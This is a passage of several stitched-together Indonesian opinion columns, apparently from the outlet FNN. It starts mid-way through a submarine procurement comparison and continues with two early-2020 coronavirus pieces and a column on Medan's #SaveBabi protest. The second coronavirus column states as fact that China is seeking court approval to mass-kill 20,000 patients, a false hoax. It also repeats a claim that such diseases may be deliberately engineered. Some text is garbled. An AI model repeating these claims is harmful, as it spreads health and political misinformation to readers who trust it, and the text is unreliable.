(Deadly). Keempat, Harus memiliki persyaratan kemampuan peperangan kapal selam yang unggul, karena kapal selam ini meskipun tergolong konvensional, namun ia juga diharapkan mampu membawa senjata-senjata strategis yang dapat menghancurkan lawan, selain torpedo (Wire Guided and Wake Homing Torpedo) yang mampu menghancurkan sasaran kapal permukaan maupun kapal selam, juga rudal untuk sasaran permukaan, sasaran udara maupun sasaran darat. Faktor lain yang harus menjadi pertimbangan adalah faktor keselamatan yang mampu meminimalkan tingkat resiko kecelakaan namun memaksimalkan tingkat safety terhadap personal dan material. Biaya pengoperasian relatif murah. Meskipun harga kapal selam relatif lebih mahal dari harga umumnya kapal permukaan, namun operasional kapal selam dinilai lebih murah dari kapal lainnya. Karena kapal selam dapat beroperasi secara Individu, tidak membutuhkan escort atau perlindungan baik oleh kapal pemukaan maupun oleh pesawat udara. Populasi pengguna, tingkat kepercayaan terhadap suatu jenis kapal selam dapat dilihat dari banyaknya kapal selam jenis tertentu dioperasikan oleh negara-negara pengguna. Mampu menyiapkan Integrated Logistic Support secara berkelanjutan dalam jangka waktu yang lama. Detterent effect dari kapal selam juga menjadi pertimbangan penting. Memiliki senjata pengelabuan (decoy) sebagai tindakan penghindaran terhadap serangan senjata lawan berupa Torpedo Counter Measure (TCM). Kemampuan manuver bawah air yang lincah disesuaikan dengan kondisi geografis dan kontur dasar laut negara pengguna kapal selam. Memiliki durasi menyelam lebih lama dari pada Kapal Selam konvensional biasa. Mampu memberikan level of confidence yang tinggi terhadap pengawaknya. Dapat dijadikan stepping stone keberlanjutan program Transfer of Technology yang dalam rangka meningkatkan kemandirian industri pertahanan dalam negeri. Kajian ini membahas tentang perbandingan kemampuan dari tiga jenis Kapal Selam tersebut di atas sehingga dapat menjadi alternatif dalam upaya percepatan pemenuhan kemampuan TNI Angkatan Laut yang diharapkan. Tiga jenis Kapal Selam tersebut adalah kapal selam jenis DSME 209/1400 dari Korea Selatan, kapal selam HDW Class 214/2000 dari Turki, dan kapal selam jenis Kilo 636/3100 dari Rusia. Perbandingan antara tiga kelas ini dibatasi pada kemampuan yang dijelaskan pada saat presentasi di Gedung Neptunus Mabes TNI AL maupun informasi terbuka dari Internet. Khusus kapal selam DSME 209/1400 data yang digunakan berdasarkan fakta yang ada di kapal selam KRI Nagapasa-403. Berikut ini adalah deskripsi secara umum tentang 3 Kapal Selam tersebut: Kapal Selam class DSME 209/1400 (Nagapasa Class). Kapal Selam konvensional diesel elektrik jenis ini merupakan adaptasi dari kapal selam diesel elektrik Type 209 yang awalnya dikembangkan oleh Howaldtswerke-Deutsche Werft - HDW Jerman. Prototype kapal selam jenis ini menggabungkan desain type 2019/1300 Jerman dengan Changbogo class Korea Selatan, sehingga merupakan kapal selam jenis baru di dunia. Ketiadaaan lisensi dari HDW Jerman membuat beberapa peralatan pokok mengalami modifikasi, ditambah lagi dengan ketiadaan klasifikasi dan register internasional dalam pembangunan kapal sehingga kapal tidak memiliki standar yang jelas. Data secara umum hampir sama dengan kapal selam jenis 209/1300 kelas Cakra milik TNI AL, hanya bobot (displacement) yang lebih besar. Keunggulan. Kapal selam ini memiliki fungsi AKPA, AKS dan Intai Taktis / Strategis; Senjata utama Black Shark Torpedo (Namun belum ada saat ini, hingga 2 tahun ke depan); Memiliki sistem Sewaco yang modern dan dapat di-upgrade untuk meluncurkan sub-missile; Posisi alat angkat non penetration hull kecuali periskop; Memiliki baling-baling (propeller) 7 blades dan bentuk skew blades (bentuk sabit); Sistem pengoperasian mirip dengan kapal selam 209 kelas Cakra. Data base peralatan sudah lebih umum sebab banyak negara di dunia yang menggunakannya; Adanya keberlanjutan proses pembangunan dengan infrastruktur yang ada di PT PAL; Terpenuhinya asas komunaliti, karena kesamaan jenis dengan kapal selam kelas Nagapasa. Kelemahan. Kemampuan tempur yang dimiliki tidak jauh berbeda dengan kapal selam kelas Cakra yang memiliki perbedaan teknologi selama 30 tahun. Memiliki efisiensi penggunaan baterai yang rendah. Penggunaan baterai cukup boros sehingga waktu snorkel akan bertambah dan hal ini membahayakan dari segi taktis pertempuran maupun dalam hal pemeliharaan. Proses dan hasil alih teknologi selama pembangunan 3 kapal selam DSME 209 tidak maksimal, kurangnya komitmen dari pihak DSME untuk memberikan alih teknologi. Performance yang ditunjukan oleh kapal selam DSME 209 tidak maksimal, sampai saat ini masih dilaksanakan perbaikan dan penyempurnaan sistem di KRI Nagapasa-403. Noise level cukup tinggi disertai getaran pada badan kapal; Kemampuan sensor-sensor yang terbatas seperti diantaranya tidak dilengkapi Active Sonar, Towed Array Sonar, Distributed Array Sonar, Mine /Obstacle Avoidance Sonar, dan Periscope masih terganggu visualisasinya. Suku cadang terbatas, saat ini KRI Nagapasa menggunakan suku cadang KRI Alugoro. Belum teruji dalam pertempuran dan latihan-latihan, hingga kini belum dapat menembakan senjata (baik torpedo maupun rudal). Kapal Selam HDW Kelas 214/2000. Kapal Selam ini rencana diproduksi di galangan kapal Savunma Teknolojileri Muhendislik Ve Tecaret As (STM) Turki bekerja sama dengan Thyssenkrupp Marine System (TKMS), Jerman. Kapal selam ini dilengkapi dengan sistem pendorongan Fuel Cell (Air Independent Propulsion/AIP) dan sewaco yang lengkap (Cilyndrical Array Sonar, Passive Ranging Sonar, Flank Array Sonar, Cilyndrical Transducer Array, Towed Array Sonar, Intercept Array Sonar, Radar, ESM dan Optronic). Keunggulan. Kapal selam ini memiliki fungsi AKPA, AKS dan Intai Taktis/Strategis yang lexc d vbih advance. Memiliki sistem persenjataan yang lengkap dan modern, dipersenjatai dengan torpedo, sub-missile (sub to surface, sub to land dan sub to air). Kemampuan menyelam lebih lama karena telah menggunakan AlP (Air Independent Propulsion) sehingga tidak tergantung dengan pengisian ulang baterai (berlayar snorkel). Kemampuan menyelam operasional lebih dalam karena badan tekan menggunakan HY100. Memiiiki noise level yang rendah karena menggunakan baling-baling bentuk skew blades (bentuk sabit). Memiiiki kemampuan jarak jelajah 10.000 NM, full integrasi sistem penembakan dan kontrol senjata, dengan 6 multi functional consoles. Keberlangsungan proses alih teknologi masih dapat berlanjut dengan menggunakan infrastruktur pembangunan kapal selam di PT PAL. Memiliki lisensi dari HDW Jerman dan menggunakan teknologinya untuk memproduksi kapal selam kelas 214. Waktu pemesanan yang relatif lebih singkat dari kapal selam jenis lain, karena ketersediaan kapal selam yang sudah siap pakai. Adanya keterlibatan dan tanggung jawab negara Turki dalam proses pembangunannya. Dari perspektif operasional, penggunaan kapal selam dengan tipe yang berbeda memiliki potensi untuk mengembangkan taktik peperangan yang lebih luas. Merupakan kelanjutan generasi dari kelas 209 Kelas Cakra (Generasi ke-5). Kapal Selam 214 merupakan generasi ke-7 dalam HDW Submarine Family Tree. Kelemahan. Penggunaan AIP di kapal selam ini memerlukan biaya ekstra. Kapal Selam Kelas Kilo/3100 Project 636. Andalan Rusia dalam ekspor kapal selam ada pada kelas kilo, selain karena dikenal dengan teknologi semi stealth. Mesin diesel yang digunakan pada kelas kilo ini terbukti tangguh dalam memberikan perlawanan. Kilo adalah nama kelas yang diberikan NATO untuk kapal selam militer bertenaga diesel buatan Rusia. Versi asli dari kapal selam ini di Rusia dikenal dengan nama Project 877 Halibut. Kapal selam kelas ini juga memiliki versi yang lebih baru yang dikenal dengan nama Improved Kilo dan dikenal juga dengan Project 636 Varshavyanka. Kapal selam ini juga memiliki fungsi AKPA, AKS dan Intai Taktis/Strategis. Project 636 ini adalah penyempurnaan dari Kilo Class Project 877 EKM. Dengan penyempurnaan pada kemampuan DG, penambahan kecepatan, jarak jelajah ekonomis mencapai 7.500 NM. Badan tekan dilapisi karet (Anti Acoustic Rubber Coating) sebagai pelindung plat badan tekan dan penyerap gelombang sonar aktif kapal lawan, pengurangan kebisingan sehingga dapat mendeteksi musuh dari jarak yang lebih Jauh. Dan sangat mendukung dalam penggunaan rudal jelajah (anti ship/land attack cruise missile) Club-S yang didukung dengan sewaco yang modern. Dengan kelengkapan senjata rudal yang memiliki jarak tembak lebih dari 220 km. Selain itu kapal selam ini dapat membawa berbagai jenis torpedo (TEST-71 MKE, UGST, Type 53/65) dan rudal Club-S, SAM Igla. Keunggulan. Lambung kapal dilapisi Anti Acoustic Rubber Coating yang berfungsi sebagai pelindung plat badan tekan dan menyerap pancaran sonar aktif lawan sehingga gelombang sonar aktif lawan tidak memantul kembali, oleh sebab itu kapal selam class Kilo 636 sulit dideteksi oleh kapal lawan. Memiliki senjata yang bervariatif yang salah satunya rudal jarak jauh dengan sasaran darat, sasaran permukaan maupun sasaran udara. Towed radio anntena bisa diluncurkan dari kedalaman 100 meter. Periskop dilengkapi dengan TV/IR camera, optronic dan GPS. Merupakan kapal selam Rusia yang terlaris. Kelemahan. Ukurannya cukup besar sehingga kurang optimal bila dioperasikan di perairan littoral. Mengalami kendala adaptasi dengan iklim tropis. Harus membangun fasilitas sandar maupun fasilitas pendukung yang baru. Tidak adanya keberlanjutan alih teknologi dengan menggunakan infrastruktur pembangunan Kapal Selam di PT PAL. Dari tiga tipe kapal selam yang dilaksanakan pemilihan selanjutnya masing-masing disusun matrik perbandingan berpasangan dengan tiga kriteria yaitu Bidang Teknis, Bidang Operasional dan Bidang Strategis. Hasil nilai dari perbandingan tersebut yang berupa nilai eigenvektor utama selanjutnya akan dijadikan sebagai dasar pemilihan alternatif, yaitu Kapal selam type 209/1400 DSME, 214 dan Kilo Class. Turki memang yang terkesan membuatnya saat itu, tetapi yang terjadi sesungguhnya yang membuat adalah Jerman. Sebab saat Turki datang ke Indonesia untuk presentasi, memang galangan di Jerman sedang overloaded, sehingga Jerman membuatnya di Turki. Walaupun bagaimana, akan lebih bangga ke Jerman langsung atau ke Indonesia langsung, bukan ke Turki. (Selesai) ***

Serius Indonesia Belum Ada Virus Corona?

Oleh Hersubeno Arief Jakarta, FNN - Sampai hari ini pemerintah belum mengkonfirmasi satupun adanya kasus virus Corona di Indonesia. Zero cases. Artinya dari seluruh penduduk Indonesia yang berjumlah 270 juta jiwa (proyeksi 2020), tidak ada satu pun yang terkena penularan virus mematikan made in China itu. Dahsyat! Fenomena ini jelas patut disyukuri, kalau benar faktanya memang seperti itu. Alhamdulillah…. Sujud syukur kalau perlu……. Masalahnya fakta tersebut saat ini banyak dipertanyakan. Tak kurang lembaga kesehatan dunia WHO dan sejumlah ahli dengan reputasi dunia mempertanyakannya. Too good to be true. Terlalu bagus untuk dipercaya. "Kami khawatir karena Indonesia belum melaporkan satu kasus virus corona yang terkonfirmasi," kata kata perwakilan WHO untuk Indonesia, Dokter Navaratnasamy Paranietharan seperti dikutip portal CNN. Sejumlah media di Australia seperti The Sydney Morning Herald dan The Age menyebut Indonesia belum memiliki alat pendeteksi Corona. Spekulasi ketidakmampuan tim dan peralatan medis di Indonesia itu dipicu oleh pengakuan Matthew Hale seorang warga Australia yag tinggal di Bali. Dia khawatir telah terpapar virus Corona, namun dia mengkritik penanganan dan perawatan dan uji lab di sebuah rumah sakit di Bali. Keraguan bahwa pemerintah Indonesia tidak mampu mendeteksi virus Corona sebelumnya juga dikemukakan oleh seorang peneliti dari Harvard University sebuah kampus prestisius di AS. "Indonesia melaporkan nol kasus, tapi mungkin sebenarnya sudah ada beberapa kasus yang tak terdeteksi," ujar ahli epidemiologi Marc Lipsitch dari Harvard TH Chan School of Public Health. Berdasarkan kalkulasinya, Indonesia bersama Thailand adalah negara yang paling potensial terpapar virus itu. Mengingat jarak dengan Wuhan yang sangat dekat dan banyaknya penerbangan ke wilayah ini. Negeri gajah putih itu sampai hari Senin (10/12) telah mengkonfirmasi adanya 32 kasus, dan Kemungkinan terus bertambah. Logikanya jumlahnya di Indonesia lebih banyak. Selain Thailand sejumlah negara yang ada di sekitar Indonesia seperti Filipina, Malaysia, Singapura, Laos, bahkan Australia sudah melaporkan adanya kasus warganya yang terpapar virus Corona. Di seluruh dunia sudah 25 negara yang mengkonfirmasi kasus serupa, termasuk 1 kasus di AS. Seorang wanita asal Chicago yang baru saja kembali dari Wuhan positif Corona. Apa orang Indonesia sakti dan kebal dari virus ini. Sebanyak 245 orang WNI yang baru pulang dari Wuhan dan sekarang di karantina di Natuna juga dinyatakan sehat. Singapura negara tetangga terdekat Indonesia bahkan sudah menyatakan status siaga orange. Satu tingkat di bawah level bahaya. Lha kok Indonesia masih tenang-tenang saja. Wajar bila dunia sangat khawatir dengan Indonesia. Dengan populasi terbesar keempat di dunia, dan dengan penanganan kesehatan yang tidak memadai, pandemi Corona bisa menjadi sebuah bencana besar. Bisa jauh lebih berbahaya Bukan hanya dunia sesungguhnya yang meragukan klaim pemerintah. Di dalam negeri keraguan semacam itu juga sangat nyata. Perbincangan di dunia nyata dan dunia maya banyak yang mempertanyakan. Di tengah masyarakat yang terbelah sangat dalam pasca pilpres, rumors, desas-desus, hoax dan bahkan provokasi banyak berseliweran. Para penentang pemerintah cenderung membesar-besarkan persoalan. Sebaliknya pemerintah dan para pendukungnya cenderung mengecil-gecilkan persoalan. Namun kali ini tampaknya soal ini tidak bisa diabaikan begitu saja. Intensnya hubungan kedua negara. Banyaknya turis Cina ke Indonesia (2.7 juta jiwa) dan jumlah pekerja Cina di Indonesia memunculkan kekhawatiran yang sangat tinggi. Fakta bahwa pemerintah sering menutup-nutupi fakta sebenarnya tentang pekerja Cina menimbulkan kekhawatiran yang sangat tinggi. Sebagai contoh sebelumnya pemerintah mengklaim pekerja Cina di Morowali, Sulawesi Tenggara hanya 3.000 orang. Namun ketika muncul virus Corona media berbasis Perancis France24 menyebut sekitar 43 ribu pekerja China di sebuah prabrik nikel di Morowali dikarantina, jadi heboh. Berita tersebut segera dibantah oleh Kemenaker dan menyebutnya sebagai disinformasi. Jumlah tersebut adalah total pekerja di pabrik nikel tersebut. Apa lacur, publik terlanjur lebih percaya berita tersebut. Apalagi bersumber media asing. Kredibilitas pemerintah saat ini di mata publik sangat rendah. Kasus buronnya kader PDIP Harun Masiku menjadi contoh nyata. Betapa informasi yang bersumber dari pejabat pemerintah sangat tidak bisa dipercaya. Perlu waktu beberapa hari bagi pemerintah untuk mengakui bahwa Harun Masiku sudah kembali ke Indonesia. Menkumham Yasona Laoly dan pimpinan KPK secara percaya diri bicara kepada publik bahwa Harun masih berada di luar negeri. Padahal Majalah Tempo memiliki bukti CCTV Harun sudah kembali ke Indonesia. Bayangkan untuk mendeteksi “makhluk” sebesar Harun Masiku saja petugas imigrasi kita mengalami “kesulitan,” atau sengaja pura-pura tidak melihat. Apalagi untuk mendeteksi virus Corona yang perlu peralatan khusus dan mahal. Harun Masiku jelas berbeda dengan virus Corona. Untuk menutupi kasus Harun hanya perlu menciptakan kebohongan baru, dan memecat sejumlah orang termasuk Dirjen Imigrasi sebagai tumbal. Menutupi kasus Corona —kalau benar seperti dikhawatirkan WHO dan para pakar— dampaknya sangat serius. Jangan sampai skandal besar dr Li Wenliang terulang di Indonesia. Dokter spesialis mata itu dibungkam oleh aparat keamanan Cina ketika menginformasikan kemungkinan adanya penyebaran virus mematikan Corona. Ketika kasus itu akhirnya meledak, semuanya sudah terlambat. Negara adidaya yang secara sombong digambarkan oleh Presiden Cina Xi Jinping sangat kuat. “Tak ada kekuatan yang bisa mengguncang Cina,” sesumbarnya. Akhirnya Cina harus tunduk dan luluh lantak oleh virus Corona. Penyakit yang kata ahli dari dari AS "hanya Tuhan yang bisa menghentikan." Kalau Indonesia, kira-kira apa ya yang akan disombongkan? end.

Wabah Virus Corona Sudah Diprediksi Ulama Yaman

Oleh Mochamad Toha JAkarta, FNN - Wabah Virus Corona China sudah benar-benar mengguncang dunia. Pertemuan bisnis yang semula mau diadakan di Singapura, dibatalkan. Singapura meningkatkan status kewaspadaan negaranya menjadi siaga corona. Hal ini dilakukan setelah ditemukan tiga kasus baru terkait wabah tersebut. Per hari Jumat (7/2/2020), jumlah pasien yang positif terjangkit virus corona di Singapura sudah meningkat menjadi 33 penderita. “Karena sekarang ada beberapa kasus lokal tanpa kaitan dengan kasus-kasus sebelumnya atau sejarah perjalanan ke China, kami telah meningkatkan penilaian risiko kami,” ujar seorang pejabat Kementerian Kesehatan Singapura dikutip Detik.com dari Reuters, Jumat (7/2/2020). Oleh karena itu, pemerintah Singapura menyarankan pelaku bisnis untuk membatalkan atau menunda segala pertemuan bisnis di negeri itu. Hal ini dilakukan guna mencegah penularan virus itu lebih luas lagi. Untuk diketahui, tingkat kewaspadaan corona di Singapura dinaikkan menjadi oranye. Level ini adalah level serupa yang sempat diberlakukan negara itu selama wabah SARS menyebar pada 2003 silam. Virus corona telah membuat panik warga Singapura. Mereka memburu bahan makanan yang bisa disimpan hingga membuat Supermarket sampai kosong. Mereka juga memburu makanan halal di Mustofa Center, punya pengusaha Muslim. Di Thailand, korban virus corona terus bertambah. Kementerian Kesehatan Umum Thailand melaporkan, ada 7 kasus baru virus corona di negaranya. Seperti dilansir dari Channel News Asia, Sabtu (8/2/2020), 7 kasus baru ini terdiri atas 3 warga Thailand dan 4 warga China. Direktur Jenderal Departemen Pengendalian Penyakit Suwannachai Wattanayingcharoenchai mengatakan, ke-7 orang yang terinveksi saat ini sudah berada di rumah sakit. “Tujuh kasus baru semuanya ada di rumah sakit,” ujar Suwannachai. Suwannachai menyebut, tiga diantara empat warga China yang baru terdeteksi virus corona merupakan keluarga dari korban virus corona sebelumnya. Sedangkan sisanya, merupakan turis yang bersal dari daerah yang berisiko virus corona. Disebutkan, dengan bertambahnya jumlah korban, saat ini total kasus terinfeksi virus corona di Thailand menjadi 32 orang. Jumlah ini disebut sebagai jumlah tertinggi kasus infeksi virus corona di luar China. Dari 32 kasus tersebut, ada 9 warga Thailand dan 23 warga China di Thailand yang terinfeksi virus corona. Sebanyak 10 orang telah diizinkan pulang, sementara 22 orang lainnya masih menjalani perawatan di rumah sakit. Di China sendiri, hingga tulisan ini dibuat, sudah mencapai 908 orang tewas. Dari jumlah itu, sebanyak 91 orang diantaranya berasal dari Provinsi Hubai, tempat awal tersebarnya virus corona. Namun, data versi Pemerintah China itu diragukan. Pasalnya, menurut pekerja Krematorium Wuhan, mereka setiap harinya membakar 100 mayat tanpa rehat. Seperti dilansir Viva.co.id, Sabtu (8/2/2020 | 00:04 WIB), Pemerintahnya sempat dikabarkan melarang pemakaman bagi pasien yang meninggal akibat virus corona. Sebagai gantinya, mereka meminta jasadnya dikremasi. Dilansir World of Buzz, larangan itu dilaporkan untuk memperlambat penyebaran virus corona. Alih-alih mengadakan upacara pemakaman, mayat-mayat ini dibakar di ruang terbuka untuk mencegah pembusukan. Baru-baru ini, seorang pekerja dari salah satu krematorium buka suara berbagi pengalaman kerjanya. Menyusul laporan yang dikutip New Zealand Herald, para pekerja pembakaran mengungkap, mereka membakar mayat 24/7 setiap hari tanpa henti. Sejak 28 Januari 2020, tempat pembakaran itu diduga telah menerima 100 mayat untuk dibakar setiap harinya. Dengan jumlah yang luar biasa ini, hampir mustahil bagi para pekerja tersebut untuk beristirahat dari pekerjaan mereka. Dalam video yang beredar di internet, kota Wuhan yang terinfeksi terlihat diselimuti kabut tebal, yang diduga berasal dari asap pembakaran tubuh massal ini. “Sembilan puluh (90) persen dari kita harus bekerja 24/7 dan kita tidak bisa pulang. Setiap titik pembakaran yang ditunjuk di Wuhan beroperasi selama 24 jam,” kata karyawan yang membakar tubuh. “Kami tidak makan atau minum untuk waktu yang lama sepanjang hari karena kami harus selalu berada dalam alat pelindung kami. Pakaian harus dilepas setiap kali kami ingin makan, minum, atau menggunakan toilet,” ungkap karyawan tadi. “Tapi begitu pakaian tersebut dilepas, tidak bisa digunakan kembali,” tambahnya. Setelah pekerja krematorium mengungkap informasi orang dalam ini, banyak warga Wuhan mulai meragukan korban jiwa resmi yang diumumkan pemerintah akibat virus corona Wuhan. Sementara, banyak orang yang menunjukkan gejala penyakit mematikan itu mengatakan bahwa mereka tidak diberi perawatan karena rumah sakit terlalu penuh untuk merawat mereka. Tapi pihak berwenang China telah memperingatkan masyarakat untuk tidak menyebarkan berita palsu tentang virus corona agar tidak menyebabkan kepanikan di antara warga. Mulut warga seolah sengaja dibungkam dengan dalih “berita palsu”. Karena dianggap telah menyebar berita palsu pula, Li Wenliang, Dokter “Whistle Blower”, sempat dituduh menyebarkan desas-desus terkait virus corona. Dokter muda ini sempat pula “ditahan” pihak berwenang di Wuhan. Dan kini, Li baru dikabarkan meninggal dunia setelah tertular virus itu. Kabar ini dilaporkan Rumah Sakit Pusat Wuhan, dengan sebuah pernyataan terkait kondisi terakhirnya. Meninggal karena positif virus corona baru, pada Jumat (7/2/2020) dini hari. ‘ “Dia meninggal pada 2:58 (dini hari), 7 Februari, setelah upaya untuk menyadarkan kembali tidak berhasil,” jelas pernyataan rumah sakit. Li adalah seorang dokter spesialis mata berusia 34 tahun. Ia sempat dituduh sebagai orang yang menyebarkan “hoax” terkait dengan kasus virus corona baru yang mewabah di Wuhan, Provinsi Hubei, China. Semua berawal dari temuannya, saat mendiagnosis 7 pasien yang ia yakini memiliki gejala yang sama seperti Severe Acute Respiratory Syndrome (SARS), salah satu jenis penyakit pneumonia. Pada (30/12/19) Li melaporkan kejadian ini dengan mengirim pesan ke sesama dokter di sebuah grup obrolan, memperingatkan mereka untuk berhati-hati dan memakai masker agar menghindari infeksi virus yang ia sebut mirip SARS saat itu, tulis situs BBC. Sayangnya, 4 hari setelah ia menyebarkan kabar tersebut, ia dipanggil kepolisian, Public Security Bureau, untuk menandatangani sebuah surat. Dalam surat itu tertulis kalau ia dituduh menyebarkan desas-desus palsu yang sangat mengganggu masyarakat. Dr Li adalah satu dari delapan orang yang waktu itu diselidiki polisi karena “menyebarkan desas-desus”. Pada akhir Januari, Li menerbitkan salinan surat itu di Weibo dan menjelaskan apa yang sebenarnya terjadi. Polisi setempat telah meminta maaf kepadanya, tetapi permintaan maaf itu terlambat, karena penyebaran virus corona baru sudah meluas. Pemerintah China kini sedang berupaya minta izin “pembunuhan” massal atas 20.000 penderita virus corona kepada Mahkamah Agung. Hummal Qorona Bambang Sulistomo semakin yakin, wabah virus corona telah membuktikan, partai komunis China dan kekayaan negara yang amat kuat-pun ternyata tidak mampu melawan wabah itu. Yang mampu adalah gotong royong-nya dan rasa senasib rakyat China. Menurutnya, hal ini tentu akan berakibat besar, kemungkinan polit-biro dan komite-sentral partai komunis China sadar, mereka tentu lebih dulu mencari rumusan dan solusi bagaimana akan memberikan, menampung kedaulatan pada rakyatnya lebih banyak dan luas. “Itu sebagai obat yang tidak dapat ditolak untuk memelihara sistem politik mereka, seperti saat Deng Xiao Ping memberi kesempatan dan peluang bagi rakyat China untuk berdagang bebas dan menjadi kaya,” ungkap putra Pahlawan Bung Tomo itu. Rakyat Hongkong, Uyhgur, Tibet, juga akan diberikan keleluasan lebih, karena mengurus dan mengendalikan rakyat di daerah tersebut dengan cara yang otoriter, tentu akan menjadi beban politik, sosial dan budaya yang cukup berat. Dan, “Gejolak demokratisasi politik di Hongkong kemungkinan akan dapat menular pada daerah-daerah lain di China daratan, juga sebagai akibat meluasnya kekecewaan pada partai komunis China dalam menangani wabah virus corona,” tegasnya. Yang dirasakan tidak sesuai dengan janji janji dalam pidato para pemimpinnya. Apakah akan lahir China baru yang lebih demokratis? Kemungkinannya tentu saja akan lebih besar dari kemungkinan China dengan sistem politik yang makin otoriter. “Dan bagaimana dengan para pemuja otoritarianisme di negeri kita ini? Tentu saja mereka akan tetap melawan dan terus bermimpi akan lahirnya partai tunggal yang otoriter,” lanjut Ketum DPP Ikatan Pendukung Kemerdekaan Indonesia (IP-KI) ini. Padahal, dunia sudah membuktikan bahwa otoritarianisme dan diktatorial partai politik selalu akan melahirkan pejuang-pejuang keadilan dan kemanusiaan yang semakin banyak, dan bisa memicu runtuhnya penguasa yang menindas. Virus Corona yang membuat dunia geger, ternyata sudah diprediksi 5 tahun sebelumnya oleh Sayyidil Habib Abu Bakar Al Adni bin Ali Al Masyhur, ulama asal Yaman dalamnya (Kitab Al Habib Abubakar tentang Virus Corona). “Dan diantara tanda-tanda kiamat kecil yang disebutkan dalam hadits-hadits orang yang tidak mengatakan sesuatu dengan hawa nafsu (Nabi Muhammad SAW) tentang akan tersebarnya beberapa wabah penyakit yang tidak pernah terjadi di kalangan umat dan masyarakat terdahulu.” “Dan sungguh telah muncul dan tersebar berita dalam waktu-waktu dekat akan kemunculan wabah penyakit yang membahayakan seperti AIDS, Flu Burung, Flu Babi, Flu Corona dan yang lainnya dari penyakit-penyakit yang sulit untuk diobati.” “Yang di mana para ulama (tim ahli) masih mencari cara pengobatannya dan masih mencari sebab tersebarnya penyakit-penyakit ini di kalangan masyarakat sampai sekarang.” “Dan, bukanlah hal yang mustahil (tidak mungkin) bahwa penyakit-penyakit ini sengaja diciptakan oleh oknum-oknum jahat di belahan dunia, dengan tujuan politik, perekonomian, atau hanya sekedar eksperimen yang tidak bertanggung jawab.” Penulis adalah wartawan senior

Demo #SaveBabi Di Medan Beraspek Politis dan Tak Sensitif

By Asyari Usman Jakarta, FNN - Kemarin, Senin (10 Februari 2020), berlangsung unjuk rasa menentang pemusnahan ternak babi di wilayah Provinsi Sumatera Utara. Ribuan orang turun ke jalan di Medan. Mereka datang dari berbagai daerah. Aksi demo terpusat di depan gedung DPRD provinsi. Mungkin sebagian orang merasa kok tiba-tiba ada pemusnahan babi. Sebagian lain mungkin merasa kok muncul unjuk rasa #SaveBabi. Supaya bisa memahami persoalan yang tarjadi, berikut ini kronologi yang berujung pada wacana (bukan rencana) tindakan pemusnahan babi ternak di Sumut. Sekitar awal November 2019, ribuan bangkai babi dibuang di sungai-sungai dan berbagai situ (waduk, oase) yang ada di provinsi Sumatera Utara (Sumut). Pada pendataan awal, tercatat 4,682 babi mati dan diduga terkena virus Hog Cholera. Mulanya ditermukan di 11 kabupaten/kota. Kemudian menjadi 16, yaitu kabupaten-kabupaten Dairi, Humbang Hasudutan, Deli Serdang, Serdang Bedagai, Tanah Karo, Toba Samosir, Tapanuli Utara, Tapanuli Tengah, Tapanuli Selatan, Samosir, Simalungun, Pakpak Bharat, dan Langkat. Tiga kota yang terkena adalah Tebing Tinggi, Pematang Siantar, dan Medan. Pemprov mengidentifikasi 61 pemilik ternak babi di Sumut yang membuang bangkai secara sembarangan. Mereka membuang seenaknya tanpa memikirkan dampak kesehatan dan lingkungan. Ribaun bangkai babi yang dibuang semberono itu sampai juga ke laut lepas. Banyak nelayan di kawasan pantai sepanjang Selat Melaka mengeluhkan banyaknya bangkai babi di laut. Ini menyebabkan masyarakat tidak mau mengkonumsikan ikan. Selama hampir sebulan lebih penjualan ikan menurun drastis di Sumut. Hingga akhir November 2019, masih ditemukan bangkai babi yang dibuang secara sembarangan. Bahkan, ada bangkai babi yang ditemukan di Jalan Sumarsoso, kawasan Helvetia, Medan, pada 25 November. Sampai 15 Desember 2019, jumlah babi yang mati di 16 daerah tingkat dua di Sumut mencapai hampir 30,000 ekor. Kemennterian Pertanian menyimpulkan bahwa kematian massal babi ternak itu disebabkan virus African Swine Fever (demam flu Afrika atau ASF). Kesimpulan bahwa penyakit yang melanda babi itu adalah ASF dikonformasikan oleh Menteri Pertanian Syahrul Yasin Limpo dalam Surat Keputusan Nomor 820/KPTS/PK.320/M/12/2019 tertanggal 12 Desember 2019. Salah satu cara pencegahan penyebaran ASF adalah pemusanahan babi. Tetapi, Pemprov Sumut berpendapat cara ini bukanlah tindakan terbaik. Selain memerlukan biaya dan logistik yang besar, pemusnahan babi melanggar aturan tentang “animal welfare” (kemaslahatan hewan). Entah bagaimana, berbagai elemen masyarakat menyangka pemusanahan akan dilakukan oleh Pemprov Sumut. Ini yang memicu mereka turun berunjuk rasa hari Senin (10/2/2020) dengan tagar #SaveBabi. Diantara pengnjuk rasa, ada yang mengatakan bahwa pemusnahan babi akan menghilangkan kebudayaan sebagian masyarakat. Tidak jelas masyarakat yang mana. Tetapi, kalau dilihat dari massa yang turun, kemungkinan besar yang dimaksudkan adalah kebudayaan warga tanah Batak yang selalu terkait dengan babi. Perlukah unjuk rasa #SaveBabi? Saya berpendapat, sama sekali tidak perlu. Pertama, demo itu menunjukkan ketidakpekaan (insensitivitas) para pendukung #SaveBabi terhadap perasaan orang-orang di luar komunitas mereka. Sangat tidak sensitif. Kalau saya ditanya, saya akan mengatakan ada terselip unsur “show of force”. Unjuk gigi, kata sebuah idiom. Kedua, saya menduga demo #SaveBabi adalah “coded message” (pesan berkode) yang ditujukan kepada Gubernur Edy Rahmayadi. Dalam arti, bahwa bagi komunitas #SaveBabi, Edy Rahmayadi mengambil garis partisan ketika pernah muncul wacana pemusnahan babi di seluruh Sumatera Utara. Padahal, kalaupun langkah pemusnhan itu diambil, itu semua dilandaskan pada hasil analisis ilmiah tentang penyakit hewan menular. Ketiga, kalau aksi demo itu didalami, saya melihat ada penampakan aspek politis juga. Lihat saja fakta yang berlangsung di lapangan pada hari unjuk rasa, kemarin. Misalnya, ada ormas yang dasumsikan “connected” dengan Edy Rahmayadi turun berjaga-jaga di kawasan kantor Gubernur Sumut. Aspek politis ini tidak bisa ditutup-tutupi. Pasti akan ada terus. Aspek ini berhulu pada setiap agenda elektoral (pemilu) di Sumut. Baik itu pemilu tingkat provinsi maupun pemilu tingkat kabupaten-kota. Orang Sumut sudah sangat “familiar” (paham). Jadi, meskipun unjuk rasa #SaveBabi berjalan tertib dan aman, aktivitas ini jelas menunjukkan adanya ramuan (ingredient) politik. Selain itu, demo ini terasa, atau tanpa terasa, mengusik sensitivitas sebagian warga Sumut terhadap babi. Semoga saja ada semacam “lesson learned” dari aksi kemarin itu. Penulis adalah wartawan senior

Moral Politik Zulkifli Hasan

